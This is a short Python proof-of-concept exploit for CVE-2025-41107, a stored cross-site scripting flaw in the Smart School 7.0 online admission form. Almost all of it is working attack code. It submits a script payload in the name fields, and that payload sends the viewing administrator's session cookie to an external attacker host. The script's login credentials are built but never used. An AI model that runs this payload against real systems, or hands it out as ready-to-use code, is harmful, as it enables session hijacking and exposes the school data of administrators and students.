CVE-2025-41107 Smart School 7.0 存储型XSS漏洞

import requests import sys # CVE-2025-41107 PoC - Smart School 7.0 Stored XSS # Target: /online_admission endpoint # Parameters: firstname, lastname, guardian_name TARGET_URL = "http://target-server/online_admission" USERNAME = "[email protected]" PASSWORD = "password123" def exploit(): """ Exploit Stored XSS in Smart School 7.0 online_admission module Payload injects JavaScript to steal session cookies """ # Login to get authenticated session session = requests.Session() login_data = { 'username': USERNAME, 'password': PASSWORD } # Create malicious XSS payload # This payload steals document.cookie and sends to attacker server xss_payload = '''<script>fetch('https://attacker.com/log?c='+btoa(document.cookie))</script>''' # Submit admission form with XSS payload exploit_data = { 'firstname': xss_payload, 'lastname': xss_payload, 'guardian_name': xss_payload, 'email': '[email protected]', 'phone': '1234567890' } try: # Send POST request with XSS payload response = session.post(TARGET_URL, data=exploit_data, timeout=10) if response.status_code == 200: print("[+] XSS payload submitted successfully!") print("[+] Payload stored in database") print("[+] When admin views admission data, cookie will be stolen") else: print("[-] Failed to submit payload") except requests.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2025-41107 Smart School 7.0 Stored XSS Exploit") exploit()